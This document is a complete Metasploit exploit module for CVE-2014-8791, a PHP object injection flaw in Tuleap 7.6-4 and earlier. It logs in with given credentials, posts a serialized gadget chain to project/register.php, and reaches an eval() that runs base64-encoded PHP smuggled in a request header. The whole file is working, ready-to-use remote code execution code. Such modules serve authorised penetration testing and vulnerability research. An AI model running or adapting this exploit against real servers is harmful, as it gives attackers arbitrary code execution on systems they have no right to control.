Tuleap PHP Unserialize Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tuleap PHP Unserialize Code Execution',
      'Description'    => %q{
        This module exploits a PHP object injection vulnerability in Tuleap <= 7.6-4 which could be
        abused to allow authenticated users to execute arbitrary code with the permissions of the
        web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
        file. The exploit abuses the destructor method from the Jabbex class in order to reach a
        call_user_func_array() call in the Jabber class and call the fetchPostActions() method from
        the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
        order to work, the target must have the 'sys_create_project_in_one_step' option disabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'EgiX',
      'References'     =>
        [
          ['CVE', '2014-8791'],
          ['URL', 'http://karmainsecurity.com/KIS-2014-13'],
          ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => '2014-11-27',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
        OptString.new('USERNAME', [true, "The username to authenticate with" ]),
        OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
        OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
        Opt::RPORT(443)
      ])
  end

  def check
    flag = rand_text_alpha(rand(10)+20)
    res = exec_php("print #{flag};")

    if res and res.body and res.body.to_s =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def do_login()
    print_status("Logging in...")

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'account/login.php'),
      'vars_post' => {'form_loginname' => username, 'form_pw' => password}
    })

    unless res && res.code == 302
      fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
    end

    print_good("Login Successful (#{username}:#{password})")
    res.get_cookies
  end

  def exec_php(php_code)
    session_cookies = do_login()

    chain =  'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
    chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
    chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
    chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'project/register.php'),
      'cookie'    => session_cookies,
      'vars_post' => {'data' => chain},
      'headers'   => {'payload' => Rex::Text.encode_base64(php_code)}
    }, 3)
  end

  def exploit
    print_status("Exploiting the PHP object injection...")
    exec_php(payload.encoded)
  end
end